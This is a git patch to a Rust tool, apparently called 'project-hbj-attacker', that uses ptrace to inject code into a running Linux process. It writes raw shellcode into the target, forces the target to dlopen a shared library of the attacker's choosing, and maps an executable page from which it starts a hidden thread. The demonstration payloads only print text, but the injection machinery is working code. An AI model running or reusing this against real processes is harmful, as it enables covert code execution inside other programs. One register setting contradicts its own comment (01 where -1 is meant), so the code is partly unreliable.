From 22173f034aba87a9aa72c2382f0259a41edcd90b Mon Sep 17 00:00:00 2001 From: rootacite <1498045907@qq.com> Date: Thu, 23 Oct 2025 22:36:22 +0800 Subject: [PATCH] [feat] optimize --- 01/project-hbj-attacker/.idea/editor.xml | 248 +++++++++++++++ 01/project-hbj-attacker/src/helper.rs | 6 +- 01/project-hbj-attacker/src/helper/asm.rs | 12 + .../src/helper/processes.rs | 91 +++++- 01/project-hbj-attacker/src/main.rs | 294 ++++++++---------- 5 files changed, 486 insertions(+), 165 deletions(-) create mode 100644 01/project-hbj-attacker/.idea/editor.xml create mode 100644 01/project-hbj-attacker/src/helper/asm.rs diff --git a/01/project-hbj-attacker/.idea/editor.xml b/01/project-hbj-attacker/.idea/editor.xml new file mode 100644 index 0000000..ead1d8a --- /dev/null +++ b/01/project-hbj-attacker/.idea/editor.xml @@ -0,0 +1,248 @@ + + + + + \ No newline at end of file diff --git a/01/project-hbj-attacker/src/helper.rs b/01/project-hbj-attacker/src/helper.rs index 08660bb..922be4b 100644 --- a/01/project-hbj-attacker/src/helper.rs +++ b/01/project-hbj-attacker/src/helper.rs @@ -1,5 +1,6 @@ mod map; mod processes; +mod asm; pub use map::is_address_in_range; pub use processes::get_pid_by_name; @@ -8,4 +9,7 @@ pub use processes::write_memory_vm; pub use processes::write_memory_ptrace; pub use map::first_rw_segment; pub use map::module_base_address; -pub use map::first_exec_segment; \ No newline at end of file +pub use map::first_exec_segment; +pub use asm::assemble; +pub use processes::find_remote_proc; +pub use processes::wait; \ No newline at end of file diff --git a/01/project-hbj-attacker/src/helper/asm.rs b/01/project-hbj-attacker/src/helper/asm.rs new file mode 100644 index 0000000..96cf14e --- /dev/null +++ b/01/project-hbj-attacker/src/helper/asm.rs @@ -0,0 +1,12 @@ + +use iced_x86::code_asm::asm_traits::CodeAsmJmp; +use iced_x86::{Instruction, code_asm::*}; + +pub fn assemble(addr: u64, op: F) -> Result, Box> +where + F: Fn(&mut CodeAssembler) -> Result<(), Box>, +{ + let mut asm = CodeAssembler::new(64)?; + _ = op(&mut asm); + Ok(asm.assemble(addr)?) +} \ No newline at end of file diff --git a/01/project-hbj-attacker/src/helper/processes.rs b/01/project-hbj-attacker/src/helper/processes.rs index cae693f..2280a13 100644 --- a/01/project-hbj-attacker/src/helper/processes.rs +++ b/01/project-hbj-attacker/src/helper/processes.rs @@ -4,9 +4,44 @@ use std::fs; use nix::sys::uio::{process_vm_readv, RemoteIoVec, process_vm_writev}; use nix::unistd::Pid; use std::error::Error; +use std::ffi::CString; use std::io::{IoSliceMut, IoSlice}; use nix::sys::ptrace; use std::mem; +use libc::{dlsym, RTLD_NEXT}; +use crate::helper::module_base_address; +use nix::sys::wait::{waitpid, WaitPidFlag, WaitStatus}; + +const GREEN: &str = "\x1b[32m"; +const RESET: &str = "\x1b[0m"; + +pub fn wait(pid: Pid) -> Option +{ + let f = waitpid(pid, Some(WaitPidFlag::WUNTRACED)).ok()?; + + match f { + WaitStatus::Stopped(stopped_pid, signal) => { + println!("[DEBUG] PID {} stopped by signal: {:?}", stopped_pid, signal); + } + WaitStatus::Exited(exited_pid, status) => { + println!("[DEBUG] PID {} exited with status: {}", exited_pid, status); + } + WaitStatus::Signaled(signaled_pid, signal, core_dump) => { + println!("[DEBUG] PID {} killed by signal: {:?} (core dump: {})", + signaled_pid, signal, core_dump); + } + WaitStatus::Continued(continued_pid) => { + println!("[DEBUG] PID {} continued", continued_pid); + } + WaitStatus::StillAlive => { + println!("[DEBUG] PID {} still alive", pid); + } + _ => {} + } + + Some(f) +} + fn list_processes() -> Result, std::io::Error> { let mut processes = HashMap::::new(); @@ -86,7 +121,7 @@ pub fn write_memory_vm(pid: Pid, mut start_addr: usize, mut data: &[u8]) -> Resu } pub fn write_memory_ptrace(pid: Pid, start_addr: usize, data: &[u8]) -> Result> { - let word_size = mem::size_of::(); + let word_size = size_of::(); if word_size == 0 { return Err("invalid word size".into()); } @@ -137,11 +172,11 @@ fn write_unaligned_head( } fn write_full_word(pid: Pid, addr: usize, data: &[u8]) -> Result> { - let mut arr = [0u8; mem::size_of::()]; + let mut arr = [0u8; size_of::()]; arr.copy_from_slice(data); let val = libc::c_long::from_ne_bytes(arr); ptrace::write(pid, addr as *mut libc::c_void, val)?; - Ok(mem::size_of::()) + Ok(size_of::()) } fn write_unaligned_tail( @@ -158,3 +193,53 @@ fn write_unaligned_tail( ptrace::write(pid, addr as *mut libc::c_void, new_word)?; Ok(data.len()) } + +pub fn find_remote_proc(module: &str, symbol: &str, pid: Pid) -> Option +{ + // Read our own process memory maps to find module base address + let self_maps = fs::read_to_string("/proc/self/maps").ok()?; + let self_map_lines = self_maps.lines().collect::>(); + let symbol_offset: u64; + + // Find module base address in our own process + let Some(module_base_local) = module_base_address(&self_map_lines, module) else { + return None; + }; + + println!("{GREEN}[local]{RESET} {module} base: {:#016x}", module_base_local); + + // Use dlsym to get the address of symbol in our own process + unsafe { + let symbol_addr_local = dlsym(RTLD_NEXT, CString::new(symbol).unwrap().as_bytes_with_nul().as_ptr() as *const _); + // Calculate offset of symbol from module base in our process + symbol_offset = symbol_addr_local as u64 - module_base_local; + } + + println!( + "{GREEN}[local]{RESET} {symbol} offset = {:#016x}", + symbol_offset + ); + + // Read target process memory maps to find its module base address + let target_maps = fs::read_to_string(format!("/proc/{}/maps", pid)).ok()?; + let target_map_lines = target_maps.lines().collect::>(); + + // Find module base address in target process + let Some(module_base_target) = module_base_address(&target_map_lines, module) else { + return None; + }; + + println!( + "{GREEN}[trace]{RESET} {module} base = {:#016x}", + module_base_target + ); + + // Calculate symbol address in target process using the same offset + let target_symbol_addr = module_base_target + symbol_offset; + println!( + "{GREEN}[trace]{RESET} {symbol} address = {:#016x}", + target_symbol_addr + ); + + Some(target_symbol_addr) +} \ No newline at end of file diff --git a/01/project-hbj-attacker/src/main.rs b/01/project-hbj-attacker/src/main.rs index f27af77..c1faa97 100644 --- a/01/project-hbj-attacker/src/main.rs +++ b/01/project-hbj-attacker/src/main.rs @@ -3,113 +3,64 @@ mod helper; use nix::sys::ptrace; -use nix::sys::wait::waitpid; use nix::unistd::Pid; use std::arch::asm; use std::ffi::CString; use helper::*; -use iced_x86::code_asm::asm_traits::CodeAsmJmp; -use iced_x86::{Instruction, code_asm::*}; -use libc::user_regs_struct; +use iced_x86::code_asm::{eax, r8, r9, r10, rax, rdi, rdx, rsi, rcx, rsp, rbp}; use libc::{RTLD_NEXT, c_void, dlsym}; +use libc::{ptrace, user_regs_struct}; use std::fs; use std::io::BufRead; const GREEN: &str = "\x1b[32m"; const RESET: &str = "\x1b[0m"; -fn inject1( - pid: Pid, - seg_rw: (u64, u64), - regs: user_regs_struct, -) -> Result<(), Box> // Simple injection +fn inject1(pid: Pid, seg_rw: (u64, u64)) -> Result<(), Box> // Simple injection { + let regs = ptrace::getregs(pid)?; let injected_data = "You are injected. \r\n"; write_memory_vm(pid, seg_rw.0 as usize, &injected_data.as_bytes())?; + println!( + "{GREEN}[trace]{RESET} write \"{}\" to {:#016x}", + injected_data, seg_rw.0 + ); - let mut asm = CodeAssembler::new(64)?; + let injected_inst = assemble(regs.rip as u64, |asm| { + asm.mov(rax, 1u64)?; // Syscall 1 (write) + asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT) + asm.mov(rsi, seg_rw.0)?; // Buffer pointer (Here is rw segment in target) + asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length + asm.syscall()?; // Syscall interrupt + asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow + Ok(()) + })?; - asm.mov(rax, 1u64)?; // Syscall 1 (write) - asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT) - asm.mov(rsi, seg_rw.0)?; // Buffer pointer (Here is rw segment in target) - asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length - asm.syscall()?; // Syscall interrupt - - asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow - - let injected_inst = asm.assemble(regs.rip as u64)?; write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?; + println!( + "{GREEN}[trace]{RESET} write instructions to {:#016x}", + regs.rip + ); // Continue target ptrace::cont(pid, None)?; - waitpid(pid, None)?; + println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip); + wait(pid); + + let regs = ptrace::getregs(pid)?; + println!("{GREEN}[trace]{RESET} int3 at {:#016x}", regs.rip); Ok(()) } -fn inject2( - pid: Pid, - seg_rw: (u64, u64), - regs: user_regs_struct, -) -> Result<(), Box> // ld injection +fn inject2(pid: Pid, seg_rw: (u64, u64)) -> Result<(), Box> // ld injection { + let regs = ptrace::getregs(pid)?; // Get the absolute path to our shared library let lib_path = fs::canonicalize("./target/debug/libproject_hbj_attacker.so")? .to_string_lossy() .into_owned(); - let cpid = nix::unistd::getpid().to_string(); - - // Read our own process memory maps to find libc base address - let self_maps = fs::read_to_string(format!("/proc/{}/maps", cpid))?; - let self_map_lines = self_maps.lines().collect::>(); - let mut dlopen_offset: u64 = 0; - - // Find libc base address in our own process - let Some(libc_base_local) = module_base_address(&self_map_lines, "libc.so") else { - return Err(Box::new(std::io::Error::new( - std::io::ErrorKind::Other, - "libc not found", - ))); - }; - - println!("{GREEN}[local]{RESET} libc base: {:#016x}", libc_base_local); - - // Use dlsym to get the address of dlopen in our own process - unsafe { - let dlopen_addr_local = dlsym(RTLD_NEXT, b"dlopen\0".as_ptr() as *const _); - // Calculate offset of dlopen from libc base in our process - dlopen_offset = dlopen_addr_local as u64 - libc_base_local; - } - - println!( - "{GREEN}[local]{RESET} dlopen offset = {:#016x}", - dlopen_offset - ); - - // Read target process memory maps to find its libc base address - let target_maps = fs::read_to_string(format!("/proc/{}/maps", pid))?; - let target_map_lines = target_maps.lines().collect::>(); - - // Find libc base address in target process - let Some(libc_base_target) = module_base_address(&target_map_lines, "libc.so") else { - return Err(Box::new(std::io::Error::new( - std::io::ErrorKind::Other, - "libc not found", - ))); - }; - - println!( - "{GREEN}[trace]{RESET} libc base = {:#016x}", - libc_base_target - ); - - // Calculate dlopen address in target process using the same offset - let target_dlopen_addr = libc_base_target + dlopen_offset; - println!( - "{GREEN}[trace]{RESET} dlopen address = {:#016x}", - target_dlopen_addr - ); // Start Inject let c_lib_path = CString::new(lib_path).unwrap(); @@ -120,13 +71,21 @@ fn inject2( seg_rw.0 ); - let mut asm = CodeAssembler::new(64)?; - asm.mov(rdi, seg_rw.0)?; // Param 1: Filename - asm.mov(rsi, 2u64)?; // Param 2: Flag, 2(RTLD_NOW) - asm.call(target_dlopen_addr)?; // Syscall interrupt + let Some(target_dlopen_addr) = find_remote_proc("libc.so", "dlopen", pid) else { + return Err(Box::new(std::io::Error::new( + std::io::ErrorKind::Other, + "first rw segment not found", + ))); + }; + + let injected_inst = assemble(regs.rip as u64, |asm| { + asm.mov(rdi, seg_rw.0)?; // Param 1: Filename + asm.mov(rsi, 2u64)?; // Param 2: Flag, 2(RTLD_NOW) + asm.call(target_dlopen_addr)?; // Syscall interrupt + asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow + Ok(()) + })?; - asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow - let injected_inst = asm.assemble(regs.rip as u64)?; write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?; println!( "{GREEN}[trace]{RESET} write instructions to {:#016x}", @@ -135,37 +94,38 @@ fn inject2( // Continue target ptrace::cont(pid, None)?; - println!("{GREEN}[trace]{RESET} running..."); - waitpid(pid, None)?; - println!("{GREEN}[trace]{RESET} int3!"); + println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip); + wait(pid); + + let regs = ptrace::getregs(pid)?; + println!("{GREEN}[trace]{RESET} int3 at {:#016x}", regs.rip); + Ok(()) } -fn inject3( - pid: Pid, - seg_rw: (u64, u64), - regs: user_regs_struct, -) -> Result<(), Box> // thread inject +fn inject3(pid: Pid, seg_rw: (u64, u64)) -> Result<(), Box> // thread inject { + let regs = ptrace::getregs(pid)?; // Alloc rwx memory - let mut asm = CodeAssembler::new(64)?; - asm.mov(rax, 9u64)?; // Syscall 9 (mmap) + let injected_inst = assemble(regs.rip as u64, |asm| { + asm.mov(rax, 9u64)?; // Syscall 9 (mmap) - asm.mov(rdi, 0u64)?; // Addr - asm.mov(rsi, 4096u64)?; // Length, we alloc a page (4K) - asm.mov( - rdx, - (libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as u64, - )?; // Set protect to rwx - asm.mov(r10, (libc::MAP_SHARED | libc::MAP_ANONYMOUS) as u64)?; // Private and anonymous - asm.mov(r8, 01i64)?; // Fd (-1 because we want anonymous) - asm.mov(r9, 0u64)?; // Offset + asm.mov(rdi, 0u64)?; // Addr + asm.mov(rsi, 4096u64)?; // Length, we alloc a page (4K) + asm.mov( + rdx, + (libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC) as u64, + )?; // Set protect to rwx + asm.mov(r10, (libc::MAP_PRIVATE | libc::MAP_ANONYMOUS) as u64)?; // Private and anonymous + asm.mov(r8, 01i64)?; // Fd (-1 because we want anonymous) + asm.mov(r9, 0u64)?; // Offset - asm.syscall()?; // Syscall interrupt - asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow + asm.syscall()?; // Syscall interrupt + asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow + Ok(()) + })?; - let injected_inst = asm.assemble(regs.rip as u64)?; write_memory_ptrace(pid, regs.rip as usize, &injected_inst)?; println!( "{GREEN}[trace]{RESET} write instructions to {:#016x}", @@ -174,9 +134,13 @@ fn inject3( // Continue target ptrace::cont(pid, None)?; - println!("{GREEN}[trace]{RESET} running..."); - waitpid(pid, None)?; - println!("{GREEN}[trace]{RESET} int3!"); + println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip); + wait(pid); + + println!( + "{GREEN}[trace]{RESET} int3 at {:#016x}", + ptrace::getregs(pid)?.rip + ); let regs_after_map = ptrace::getregs(pid)?; let page_addr = regs_after_map.rax as usize; @@ -185,67 +149,79 @@ fn inject3( page_addr ); - let injected_data = "I am injected thread, I am running... \r\n"; - write_memory_vm(pid, page_addr + 0x500, &injected_data.as_bytes())?; - write_memory_vm(pid, page_addr + 0x600, &1i64.to_le_bytes())?; - write_memory_vm(pid, page_addr + 0x608, &0u64.to_le_bytes())?; + let injected_data = "[%d] I am the injected thread, I am running... \r\n"; + write_memory_vm(pid, page_addr + 0x200, &CString::new(injected_data).unwrap().as_bytes_with_nul())?; + write_memory_vm(pid, page_addr + 0x300, &1i64.to_le_bytes())?; + write_memory_vm(pid, page_addr + 0x308, &0u64.to_le_bytes())?; + + let printf = find_remote_proc("libc.so", "printf", pid).unwrap(); - asm = CodeAssembler::new(64)?; // Construct inject payload - let mut target_label = asm.create_label(); + let injected_payload = assemble(page_addr as u64, |asm| { + let mut target_label = asm.create_label(); - asm.set_label(&mut target_label)?; - asm.mov(rax, 1u64)?; // Syscall 1 (write) - asm.mov(rdi, 1u64)?; // Fd 1 (STDOUT) - asm.mov(rsi, (page_addr + 0x500) as u64)?; // Buffer pointer (Here is page_addr + 0x500) - asm.mov(rdx, injected_data.as_bytes().len() as u64)?; // Buffer length - asm.syscall()?; // Syscall interrupt + asm.mov(rbp, rsp)?; + asm.mov(rcx, 0u64)?; + asm.set_label(&mut target_label)?; - asm.mov(rax, 35u64)?; // Syscall 35 (nano sleep) - asm.mov(rdi, (page_addr + 0x600) as u64)?; // Req - asm.mov(rsi, 0u64)?; //Rem - asm.syscall()?; // Syscall interrupt + asm.add(rcx, 1i32)?; + asm.push(rcx)?; - asm.jmp(target_label)?; // Jmp back to loop + asm.mov(rdi, (page_addr + 0x200) as u64)?; + asm.mov(rsi, rcx)?; + asm.call(printf)?; - let injected_payload = asm.assemble(page_addr as u64)?; + asm.mov(rax, 35u64)?; // Syscall 35 (nano sleep) + asm.mov(rdi, (page_addr + 0x300) as u64)?; // Req + asm.mov(rsi, 0u64)?; //Rem + asm.syscall()?; // Syscall interrupt + + asm.pop(rcx)?; + asm.jmp(target_label)?; // Jmp back to loop + Ok(()) + })?; write_memory_vm(pid, page_addr, &injected_payload)?; println!("{GREEN}[trace]{RESET} write payload to {:#016x}", page_addr); // Start Trigger let regs = ptrace::getregs(pid)?; + // ptrace::setregs(pid, regs)?; - asm = CodeAssembler::new(64)?; + let injected_trigger = assemble(regs.rip as u64, |asm| { + asm.mov(rax, 56u64)?; // Syscall 56 (clone) - asm.mov(rax, 56u64)?; // Syscall 56 (clone) + asm.mov( + rdi, + (libc::CLONE_VM + | libc::CLONE_FS + | libc::CLONE_FILES + | libc::CLONE_SIGHAND + | libc::CLONE_THREAD) as u64, + )?; // Flags + asm.mov(rsi, (page_addr + 0x1000) as u64)?; // Stack top - asm.mov( - rdi, - (libc::CLONE_VM - | libc::CLONE_FS - | libc::CLONE_FILES - | libc::CLONE_SIGHAND - | libc::CLONE_THREAD) as u64, - )?; // Flags - asm.mov(rsi, (page_addr + 0x800) as u64)?; // Stack top + asm.mov(rdx, 0u64)?; // parent_tid = NULL + asm.mov(r10, 0u64)?; // child_tid = NULL + asm.mov(r8, 0u64)?; // tls = NULL - asm.mov(rdx, 0u64)?; // parent_tid = NULL - asm.mov(r10, 0u64)?; // child_tid = NULL - asm.mov(r8, 0u64)?; // tls = NULL + asm.syscall()?; // Syscall interrupt + asm.test(eax, eax)?; // Syscall returns zero? + asm.jz(page_addr as u64)?; - asm.syscall()?; // Syscall interrupt - asm.test(eax, eax)?; // Syscall returns zero? - asm.jz(page_addr as u64)?; + asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow - asm.int3()?; // (Important!!!) Use int3 interrupt to retrieve control flow + Ok(()) + })?; - let injected_trigger = asm.assemble(regs.rip as u64)?; write_memory_ptrace(pid, regs.rip as usize, &injected_trigger)?; println!("{GREEN}[trace]{RESET} write trigger to {:#016x}", regs.rip); - // Continue target ptrace::cont(pid, None)?; - waitpid(pid, None)?; + println!("{GREEN}[trace]{RESET} continue from {:#016x}", regs.rip); + wait(pid); + + let regs = ptrace::getregs(pid)?; + println!("{GREEN}[trace]{RESET} int3 at {:#016x}", regs.rip); Ok(()) } @@ -282,9 +258,9 @@ fn main() -> Result<(), Box> { }; ptrace::attach(pid)?; - waitpid(pid, None)?; + wait(pid); ptrace::step(pid, None)?; - waitpid(pid, None)?; + wait(pid); // ↓ Old behavior, but maybe the process stay in their libraries forever ? @@ -304,28 +280,24 @@ fn main() -> Result<(), Box> { // Save context let regs = ptrace::getregs(pid)?; // Save current registers - let buffer = read_memory_vm(pid, seg_x.0 as usize, 128)?; // Save current memory context - let buffer_rw = read_memory_vm(pid, seg_rw.0 as usize, 128)?; // Save current rw memory + let buffer = read_memory_vm(pid, seg_x.0 as usize, 4096)?; // Save current memory context + let buffer_rw = read_memory_vm(pid, seg_rw.0 as usize, 4096)?; // Save current rw memory println!("{GREEN}[trace]{RESET} Seg_x.0 is {:#016x}", seg_x.0); - write_memory_ptrace(pid, seg_x.0 as usize, &[0x90u8; 128])?; - ptrace::setregs(pid, user_regs_struct { - rip: seg_x.0, - ..regs - })?; - - // Do inject here - - inject3( + write_memory_ptrace(pid, seg_x.0 as usize, &[0x90u8; 4096])?; + ptrace::setregs( pid, - seg_rw, user_regs_struct { rip: seg_x.0, ..regs }, )?; + // Do inject here + + inject3(pid, seg_rw)?; + // End inject logics // Restore context